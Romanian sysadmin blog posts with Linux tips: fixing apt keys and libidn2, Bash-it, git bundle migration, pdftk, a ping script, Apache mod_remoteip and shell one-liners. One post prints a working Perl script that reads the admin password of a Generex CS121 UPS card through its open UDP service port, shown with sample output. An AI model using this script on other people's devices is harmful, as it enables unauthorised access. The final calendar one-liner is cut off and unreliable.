Categories
Linux Terminal

Fix rapid pentru ” The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 78BD65473CB3BD13″

La fel cum refrenul unei piese proaste îți rămâne în cap zile în șir după ce ai auzit melodia la radioul unui taximetrist oprit la semafor, actualizările sistemelor Debian/Ubuntu/ș.a.m.d au capacitatea să te scoată din starea de zen, bineînțeles, atunci când îți dorești mai puțin.

Iar când vine vorba despre repo-urile de la Google, aceste probleme par a avea un ciclu aproape anual 🙂

Cum mi s-a arătat mie în seara asta să verific actualizările unui server, nu mi-am pus bine sucul al cărui nume nu ai voie să-l pomenești în pahar, și văd minunatul mesaj:

Err:5 http://dl.google.com/linux/mod-pagespeed/deb stable Release.gpg
The following signatures couldn't be verified because the public key is not av ailable: NO_PUBKEY 78BD65473CB3BD13

 NO_PUBKEY 78BD65473CB3BD13

Deși m-am obișnuit (parțial, recunosc) cu problemele de genul acesta, am o secundă în care-mi sare pulsul înainte de a da un import nou, așa că dau o căutare prin minunatele resurse ale internetului mare înainte de a importa din nou cheile… Acum, pentru că mi-am amintit de o problemă asemănătoare de acum vreo patru – cinci ani, am fost mult mai relaxat.

Așa că după o (foarte) scurtă verificare… am importat cheia cu probleme:

# apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 78BD65473CB3BD13

și gata, problem solved 🙂

 apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --re                                                    cv-keys 78BD65473CB3BD13

După asta, la primul sudo apt-get update am scăpat de eroare și am putut să-mi văd mai departe de treabă.

Categories
Linux Terminal

Debian / Ubuntu relocation error, error code (127) după actualizările recente

Vine o vreme când apar surprize cauzate de actualizări și în zona Debian / Ubuntu.

Cea mai recentă surpriză este eroarea de genul:

relocation error /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference

De la asta, module din apache2.4 nu vor mai vrea să funcționeze (modsecurity2 fiind unul dintre ele), curl (și librăriile php-curl) și încă câteva.

În majoritatea cazurilor de azi-noapte încoace m-am lovit de astfel de erori:

 /usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
Reading package lists... Done
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly

punycode_decode_version_IDN2_0.0.0_not_defined_in_file_libidn2.so.0

 

Soluția (cel puțin temporară) este următoarea:

 # wget http://ftp.us.debian.org/debian/pool/main/libi/libidn2/libidn2-0_2.0.5-1_amd64.deb

# sudo dpkg -i libidn2-0_2.0.5-1_amd64.deb

După instalare, un apt-get update && apt-get upgrade -y ar trebui să rezolve problemele.

 

 

 

 

Categories
Încearcă! Linux Terminal

Bash-it – un framework cu ajutorul căruia îți poti controla aliasurile și scripturile

Bash-it este un pachet de scripturi și comenzi pentru versiuni ale Bash mai noi de 3.2, pachet făcut de comunitatea Bash și care aduce funcții modificate, teme, aliasuri, auto-completarea comenzilor și multe alte lucruri interesante. De asemenea aduce o serie de unelte pentru dezvoltatori, integrări ale unor comenzi pentru git și multe alte scripturi cu ajutorul cărora îți ușurează munca zilnică.

Cum se instalează Bash-it în sistemele de operare GNU/Linux

Pentru a instala Bash-it se clonează în primul rând repo-ul într-o destinație la alegerea utilizatorului:

$ git clone --depth=1 https://github.com/Bash-it/bash-it.git ~/.bash_it

Odată clonarea încheiată se rulează următoarea comandă pentru instalare (fișierele ~/.bash_profile sau ~/.bashrc – în funcție de sistemul de operare folosit vor fi salvate automat)

$ ~/.bash_it/install.sh

Veți fi întrebat “Would you like to keep your .bashrc and append bash-it templates at the end? [y/N]”, răspundeți după preferință.

Odată instalarea terminată aceasta poate fi verificată cu ajutorul comenzii ls. Fișisrele și directoarele ar trebui să fie afișate.

Cum poate fi modificat Bash-it în Linux

Bash-it poate fi modificat oricând editând fișierul ~/.bashrc.
Pentru a vedea lista aliasurilor, completărilor și modulelor suplimentare instalate și/sau disponibile se pot rula următoarele comenzi (care de asemenea vor indica cum se pot activa și dezactiva):

$ bash-it show aliases
$ bash-it show completions
$ bash-it show plugins

Pentru a vedea ce aliasuri sunt active se folosește următoarea comandă:

$ alias

Toate aliasurile pot fi găsite în directorul aflat aici: $HOME/.bash_it/aliases/ .
De exemplu, să activăm aliasurile pentru apt:

$ bash-it enable alias apt

Reîncărcam apoi Bash-it pentru a vedea rezultatul:

$ bash-it reload
$ alias

Din ce putem vedea, aliasurile pentru apt au fost activate

Mișcarea inversă se face astfel:

$ bash-it disable alias apt
$ bash-it reload

Căile generale sunt următoarele:

Completările pot fi găsite aici – $HOME/.bash_it/completion/
Modulele suplimentare – $HOME/..bash_it/plugins/
Toate elementele activate pot fi găsite în directorul $HOME/.bash_it/enabled .

Cum spuneam la început, Bash-it are oferă și mai mult de 50 de teme, cea implicită fiind bobby. Tema activă poate fi aflată afișând valoarea variabilei env BASH_IT_THEME

echo $BASH_IT_THEME

Temele pot fi găsite în directorul $BASH_IT/themes .

$ ls $BASH_IT/themes

Aceste teme pot fi previzualizate înainte de a fi folosite cu comanda:

$ BASH_PREVIEW=true bash-it reload

Iar aplicarea uneia dintre ele se poate face editând fișierul .bashrc și adăugând următoarea linie (cu numele temei alese):

$ export BASH_IT_THEME='essential'

Salvați apoi fișierul și reîncărcați-l

$ source $HOME/.bashrc

Căutarea de noi plugin-uri, completări sau aliasuri specifice diferitelor limbaje de programare sau medii de dezvoltare poate fi făcută ușor astfel (de exemplu căutăm ceva legat de comenzile pe care le utilizăm frecvent):

$ bash-it search python pip pip3 pipenv
$ bash-it search git

Iar dacă aveți nevoie de ajutor puteți rula comenzile:

$ bash-it help aliases
$ bash-it help completions
$ bash-it help plugins

Orice scripturi, aliasuri etc. adiacente pot fi adăugate în directoarele respective:

aliases/custom.aliases.bash
completion/custom.completion.bash
lib/custom.bash
plugins/custom.plugins.bash
custom/themes//.theme.bash

Pentru a avea întotdeauna cea mai recentă versiune a Bash-it rulați:

$ bash-it update

Iar dacă la un moment dat nu vreți să mai folosiți Bash-it acesta se dezinstalează astfel:

$ cd $BASH_IT
$ ./uninstall.sh

Scriptul uninstall.sh va restaura fișierele de pornire folosite anterior instalării. Odată procesul încheiat directoarele Bash-it pot fi șterse manual.

$ rm -rf $BASH_IT

Mai multe detalii despre cum poate fi folosit Bash-it puteți afla rulând comanda:

$ bash-it help

Pentru mai multe informații puteți accesa pagina de Github https://github.com/Bash-it/bash-it.

Categories
Linux Terminal Ubuntu

Migrarea unui repo git cu tot cu branch-uri în alt mediu, pe alt server.

A venit și acel moment din viață în care mi-am pus problema migrării unui repo git de pe un server pe altul cu păstrarea branch-urilor și a istoricului acțiunilor.
Și cum altfel decât între medii diferite, fără acces direct între ele.
Ar fi trebuit să fie simplu, dar s-a dovedit că e puțin mai mult de muncă, așa că adun aici (poate așa reușesc să repet mișcarea asta vreodată) lista pașilor de urmat.

Primul pas este să aduc pe local toate datele de pe repo, cu toate branch-urile:

alex@ubuntu:~$ git clone git@github.com:proiectulmeu/test.git

Apoi vine rândul fiecărui branch în parte și încă un pull ca să fie treaba sigură:

alex@ubuntu:~/test$ cd test
alex@ubuntu:~/test$ git checkout master
alex@ubuntu:~/test$ git pull -f
alex@ubuntu:~/test$ git checkout development
alex@ubuntu:~/test$ git pull -f
alex@ubuntu:~/test$ git checkout test
alex@ubuntu:~/test$ git pull -f

Fac apoi un director în care să adun bundle-ul proiectului git:

alex@ubuntu:~$ mkdir bundles

Având toate branch-urile local, am adaptat scriptul făcut de Pagan Maganti (https://github.com/pmaganti/git-bundler/blob/master/bundler.sh) pentru a face un fișier bundle cu toate branch-urile, versiunea mea ajungând să arate cam așa:

#!/bin/bash
cd /home/alex/test
for branch in `git branch -a | grep remotes | grep -v HEAD | grep -v master `; do
git branch --track ${branch#remotes/origin/} $branch || git branch
done && git bundle create ../bundles/test.bundle --all && git bundle verify ../bundles/test.bundle"

În momentul ăsta sunt fericitul posesor al unui bundle care (teoretic) conține toate branch-urile de pe repo-ul care trebuie migrat.

Odată ajuns fișierul cu bundle-ul în noul său mediu, ar fi de restaurat în noua casă și pornită treaba mai departe.

Până aici treaba e destul de simplă, fiind plin internetul de instrucțiuni (exceptând manualul de git care e destul de cuprinzător), și probabil că pot fi numit un vașnic absolvent al școlii ajutătoare de git.

Pe mașina cea nouă bundle-ul terbuie “despachetat”.
După inițializarea unui git nou, desfac budle-ul și fac un merge pe HEAD folosindu-i id-ul. Apoi se fac remapările pentru branch-uri și se “curăță” cu un reset –hard.

alex@server:~$ mkdir test
alex@server:~$ cd test
alex@server:~/test$ git init
alex@server:~/test$ git bundle unbundle ../test.bundle
alex@server:~/test$ git merge d7fd1f4f
alex@server:~/test$ git fetch -u ../test.bundle 'refs/*:refs/*'
alex@server:~/test$ git reset --hard

“În acest mod simplu, pomul ajunge lângă fereastră. Aici, avem avantajul că odată cu pomul putem aprinde și perdeaua.”… asta era din altă scenetă, nu cu git, dar e cumva din același serial.
Acum ar trebui ca proiectul împreună cu toate branch-urile sale să fie restaurate local, calde și numai bune de a fi urcate pe serverul cel nou.

alex@server:~/test$ git remote add origin https://alex@serverulprivatcelnou/proiectulmeu/test.git
alex@server:~/test$ git push --mirror origin

Acum proiectul este restaurat complet în noul său mediu, cu tot istoricul commit-urilor, cu branch-uri și toate cele necesare continuării dezvoltării în noul mediu de lucru.

 

Categories
Linux Terminal

“Spargerea” unui fișier pdf cu pdftk

Birocrația noastră e încă în floare, iară companiile chiar private nu fac excepții de la comunicarea pseudo-electronică – îți trimit email cu contractele în format electronic dar nu-l acceptă înapoi decât semnat și ștampilat (eventual pe fiecare pagină) și “cu pix albastru”…
Ideea este că printr-un astfel de proces, după scanare un contract care ar fi fost un pdf de 500kb în formatul său inițial, poate ajunge la 15-20Mb după ce a fost printat, semnat și scanat din nou.
Iar cum sunt puține serverele de email care acceptă fișiere mari atașate emailurilor… apare aici distracția.
Astăzi am fost exact într-o astfel de situație, fișierul care trebuia “întors” avea mai bine de 15Mb.
Așa că am apelat la pdftk (PDF Toolkit) aplicație care este conform denumirii dată de cei care o întrețin “Handy Tool for Manipulating PDF Documents” și cu ajutorul căreia se pot face o mulțime de operații cu fișierele pdf, cum ar fi:
– Concatenarea sau colaj de documente pdf;
– Spargerea în fișiere cu număr definit de pagini
– Rotirea documentelor sau doa a numitor pagini dintr-un fișier pdf
– Decriptarea documentelor pdf (dacă știm parola)
– Criptarea fișierelor pdf
și multe alte operațiuni.

Dar cum tema de azi a fost spargerea în fișiere mai mici… iată cum se produce:
În primul rând se instalează pdftk:

alex@alex:~$ sudo apt-get update
alex@alex:~$ sudo apt-get install pdftk

Iar apoi am generat 3 fișiere mai mici din fișierul inițial după cum urmează:

alex@alex:~$ pdftk initial.pdf cat 1-5 output output_split1-5.pdf
alex@alex:~$ pdftk initial.pdf cat 6-10 output output_split6-10.pdf
alex@alex:~$ pdftk initial.pdf cat 11-15 output output_split11-15.pdf

Iar la final am avut 3 fișiere cu câte 5 pagini și dimensiune sub 7Mb dintr-un singur fișier care avea mai mult de 15Mb.

Pentru lista completă de operatori și exemple rulați cu încredere

alex@alex:~$ pdftk --help

pdftk

Categories
Linux Terminal

Script simplu pentru verificare cu ping

Din când în când prietenii mei de la Telekom/RDS/Enel/”and the gang” încearcă să-mi aducă aminte că există și altfel decât prin facturi… și atunci cred ei că cel mai bun motiv să-ți amintești de ei este să nu mai furnizeze serviciile…

Cum una din primele verificări ca să mă prind de unde/cum se apucă problema e să dau ceva ping-uri am ajuns (repejor) la concluzia că acest proces e musai să fie scriptat și de ce nu, automatizat.

În acest mod simplu pomul ajunge lângă fereastră am ajuns la versiunea X.XX.XXXX a scriptului care îmi verifică prin 4 pinguri adresele dintr-o listă definită în fișierul numit cum altfel: “ipuri”; acest fișier stă în directorul utilizatorului curent (în cazul meu /home/alex)

Iaca conținutul scriptului:

#!/bin/bash

NR=4 #Cate pinguri trag

for i in $( cat $HOME/ipuri )
do
ping -q -c$NR $i > /dev/null

if [ $? -eq 0 ]
then
echo $i "Raspunde la ping"

else
echo $i "Nu raspunde la ping"

fi
done

Iar rezultatul arată cam așa:

ping-test

Eu am făcut scriptul executabil pentru a-l putea rula mai rapid din directorul meu de scripturi.

Categories
De-ale mele Linux Terminal

Șmecheri nemți mai sunt chinezii ăștia…

Mai ales atunci când îi conving pe francezi să copieze un soft american pe care să-l facă să funcționeze pe un echipament german.

Acum puțin timp a venit momentul să schimbăm ups-urile din firmă, nu de alta dar prietenii de la Enel sau cum s-or mai numi acuma au prostul obicei de a opri alimentarea cu energie electrică din când în când… sau, mai grav, nu o opresc, dar nici nu trimit 220V pe sârme…

Și pe lângă noile echipemante și-a găsit locul și unul mai deștept, care să vorbească cu noi (când e cazul), să știe să trimită un email, notificare ceva când se întâmplă lucruri neprevăzute, etc.

Partea aia de deșteptăciune din ups-ul cu pricina poartă numele de CS121, e făcută de nemții de la Generex și echipează mai toate ups-urile de la Eaton, Rittal, AEG, Legrand și Masterguard. Un echipament serios și sănătos așa în felul lui, dar având firmware (custom) și softul făcute de francezi, copiind până la un punct o aplicație deja cunoscută, făcută de americani (franțuziți și ei acuma) la momentul când sloganul acestora din urmă era “Legendary Reliability”.

Bun… Ca de obicei, primul lucru pe care-l fac atunci când îmi pică o jucărie nouă în mâini… schimb parolele (că tot spunea Simona Tache acum ceva vreme că la noi, bărbații, fără parole, viața e pustiu)

Și pun eu frumos acolo parola de bază AnaNuMaiAreMereSocSiGroaza!!!@#$00&72, scriu cuminte aceeași parolă și în al doilea câmp ca să confirm, primesc felicitări pentru cât de inteligentă îmi e parola și sigură etc, salvez și când să întru iar în administrare…. ghinion… iaca parola nu e aia bună. Mai încerc odată, mai scriu toată parola (că de, să nu fie vreun caracter aiurea prins între copy și paste și-mi pic doctoratul din cauza lui)… nimic. Parolă incorectă.
Înjur eu zdravăn tastatura, localele și ce-mi mai vine-n cap că ar putea fi motiv de a fi salvat o parolă greșită, și la final, ca orice inginer care se respectă, pun mâna pe manual să văd cum pot reseta parola.
Ajung eu la pagina care povestește de cât de sigur e mecanismul lor și cum să folosești parole sigure bla, bla, bla, iar la final găsesc o notă mică care zice pe scurt că dacă ai “uitat” (fain că uitat chiar e între ghilimele) parola, poți în baza seriei echipamentului să ceri una nouă direct de la producător.
Înghit în sec, pun mâna pe telefon și sun la cel care mi-a vândut echipamentul… “știi, eu mi-s mai prost așa și nu mai știu ce parolă am pus, poți să-mi zici și mie cum se resetează?”. După câteva minute în care el a sunat la rândul lui la importator/etc. vine răspunsul: “Trimite-mi un email, în care să povestești ce ai pățit, eu îl dau la importator, care-l va trimite la producător care….” OK, îmi zic în barbă, așadar fiind vorba de francezi la mijloc, probabil că săptămânile astea nu mai accesez jucăria… și încep să caut informații despre cât ar putea dura operațiunea.

Și căutând eu pe net, ce aflu?

Că placa cu pricina are un port de service, prin care își aduce update-urile de firmware, intră francezii să îți rezolve problemele etc. și care, culmea (sau nu) stă așa frumos deschis pentru toată lumea care și-ar dori să-l probeze…

Și pentru a testa există și un mic script făcut în perl, care odată rulat afișează mai tot ce te-ar putea interesa… cam așa:

$./upssearch.pl $IP

UPS: CS124-16M32M, ROM-Version: 2.3.4(pduc) - Aug 27, 2010

Target system parameters (current):
Default Protocol : TCP/IP
Default Driver : Ethernet
Mac address : 00-00-00-00-00-00
IP address : XX.XX.XX.XX
Net Mask : 255.255.250.192
Default Gateway : XX.XX.XX.XX
DHCP : 0.0.0.0
DNS : 0.0.0.0
Port for tools : 4000

Searching login
USER: admin, PASS: AnaNuMaiAreMere, ACCOUNT: none

Bucuros nevoie mare că mi-am “hăcuit” propriul echipament, aflu că de fapt nu băgasem eu greșit parola inițială ci mândrețea de soft are limitare la X caractere, iar deși nu spune nicăieri și validează ca fiind corectă orice introducere, stripuiește șirul de caractere la acel X… Multă sănătate poporului programator francez care m-a făcut să-mi pierd câteva ore pe tema asta.

Conținutul scriptului de care pomeneam mai sus este (nu de alta dar poate mai pică și alții în situația asta):

#!/usr/bin/perl -w
use IO::Socket;
use constant MAXBYTES => scalar 1024;

$socket = IO::Socket::INET->new( PeerPort => 4000,
PeerAddr => $ARGV[0],
Type => SOCK_DGRAM,
Proto => 'udp');

$socket->send("");
$socket->recv($inline, MAXBYTES);
print "UPS: $inline \n";

$socket->send("show syspar");
$socket->recv($inline, MAXBYTES);
print "$inline\n";

print "Searching login\n" ;
$socket->send("start");
$socket->recv($inline, MAXBYTES);
$socket->send("cd /flash");
$socket->send("type ftp_accounts.txt");

while($socket->recv($inline, MAXBYTES)) {
if($inline =~ /admin/ig) { print $inline; exit; }
}

sleep(10);

Recomandarea mea, dacă vă pică astfel de echipamente pe mână, țineți portul de service dezactivat. Și nu folosiți parole complicate, bine? 🙂

Categories
Linux Terminal Ubuntu

Apache 2.4 mod_remoteip pentru colectarea în loguri a ip-urilor reale

Într-unul din proiectele recente am avut de pus pe picioare un setup în AWS.
Una dintre problemele pe care nu le anticipasem a fost că ip-urile vizitatorilordin logurile Apache erau suprascrise cu cel al load balancer-ului.

Căutând soluții am ales ceea ce mi s-a părut a fi cea mai simplă abordare și care satisface cerința fără multe modificări și anume folosirea modulului mod_remoteip din Apache 2.4.x

Pentru asta (serverele rulând Ubuntu) pașii sunt următorii:

$ sudo a2enmod mod_remoteip

Apoi în fișierul /etc/apache2/mods-enabled/remoteip.conf sau direct în /etc/apache2/apache2.conf (după dorința fiecăruia) se adaugă:

 RemoteIPHeader X-Forwarded-For

iar în secțiunea de definire a metodelor de log din /etc/apache2/apache2.conf se schimbă:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

în

LogFormat "%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

Adicătălea din %h în %a.

La final se restartează serverul de apache și din acest moment în loguri ar trebui să apară ip-urile reale ale vizitatorilor.

Categories
Linux Terminal Ubuntu

Comenzi diverse în terminal

3 lucruri vreau să notez aici… pentru că săptămâna asta m-am lovit de câteva ori de ele… și am mai dat și “suport” câtorva amici pe aceste teme:)

Primul – Montarea unei imagini .iso  și apoi partajarea conținutului folosind Samba.

Al doilea – instalarea în Ubuntu a diverselor programe folosind fișiere .rpm

Și al treilea… care a fost și cea mai bună întrebare pe săptămâna asta… cum aflu ip-ul meu extern, alocat prin DHCP, din terminal…

Păi, să o iau în ordine… Am un fișier .iso iar unul din utilizatorii din rețea vrea să instaleze de pe el, dar fără a instala modifica ceva pre la el prin calculator… via rețeaua locală. Așadar, hai să montăm un iso și apoi să il trecem partajăm cu Samba

Bănui că sunt multe metode pentru a face asta… Și eu am găsit cel puțin trei metode care își lăudau diversele capacități… dar, ce am ales și a dat rezultate la mine a fost să montez fișierul .iso ca device loop. Toată tărășenia se execută cu câteva linii…

$sudo mkdir mnt/iso
$sudo  mount -o loop cddisc.iso /mnt/iso

Iar apoi adăugat în smb.conf directiva pentru noua partajare și am restartat samba.

Punctul doi… instalarea de fișiere .rpm în Ubuntu…

Și acest lucru este mult mai simplu decât pare la prima vedere… pentru că, pentru asta există “alien”. Alien ăsta știe el de la mămica lui cum să facă transformarea din .rpm în .deb… și asta fără să bălmăjească prea multe. Alien se intalează simplu cu apt-get.

sudo apt-get install alien
După ce-și face el “numărul” se rulează cu încredere:
sudo alien -k fisier.rpm
La final, vom avea generat un proaspăt fișier .deb cu același nume ca fișierul .rpm. Acel -k reprezintă numărul versiunii. Dacă nu este pus acolo, automat, va atașa ca număr de versiune “1”.
Apoi fișierul .deb se intalează cuminte cu dpkg.

Și am ajuns la punctul trei… m-am trezit că pe un server proaspăt instalat, până să ajung să configurez prea multe, am avut nevoie să aflu ip-ul de extern alocat routerului… router la care bineînteles că nu aveam acces. Cum încă nu aveam instalat nici măcar un navigator în mod text, m-am folosit de următoarea comandă în terminal, care mi-a scurtat vizita la clientul respectiv cu ceva timp…

wget -O - -q icanhazip.com

Așa că las aici notate până data viitoare când oricum, nu voi reuși să accesez ori pagina asta, ori cine știe ce se va întampla și voi pierde ceva timp căutând din nou să descopăr apa caldă și curentul electric.

Categories
Linux Terminal

10 Comenzi diverse în terminal

1. Pentru a vedea toate hosturile virtuale configurate în Apache2

$ /usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'

2. Cautare pe Google.com – pentru funcționare sunt necesare pachetele curl și html2text

$ curl -A Mozilla http://www.google.com/search?q=textdecautat |html2text -width 80

3. Actualizează statusul pe Twitter

$ curl -u utilizator:parola -d status="Mesaj postat din consola" http://twitter.com/statuses/update.xml

4. Afișează o histogramă a celor mai încărcate minute dintr-un log de acces apache:

$ cat /var/log/apache2/access.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'

5. Descarcă lista de ip-uri isc.sans.org și o adaugă la coada iptables

curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1

6. Ce fișiere/directoare îmi ocupă spatiul pe disc

$ du -aB1m|awk '$1 >= 100'

7. Afișează toate IP-urile

$ ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'

8. Afișează toate conexiunile active la un gateway

$ cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#

9. Caută fișiere duplicate după MD5 (și șterge hash-ul final) – operațiune de durată

$ find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-

10. Afișează evenimentele din calendarul personal ținut în Google Calendar

$ wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&start-max=2009-07-31' | perl -lane '@m=$_=~m/(.+?)

Unde trebuie înlocuit URL adresa perspmală privată/publică a url-ului în format XML, și data pentru care se dorește vizualizarea în format YYYY-mm-dd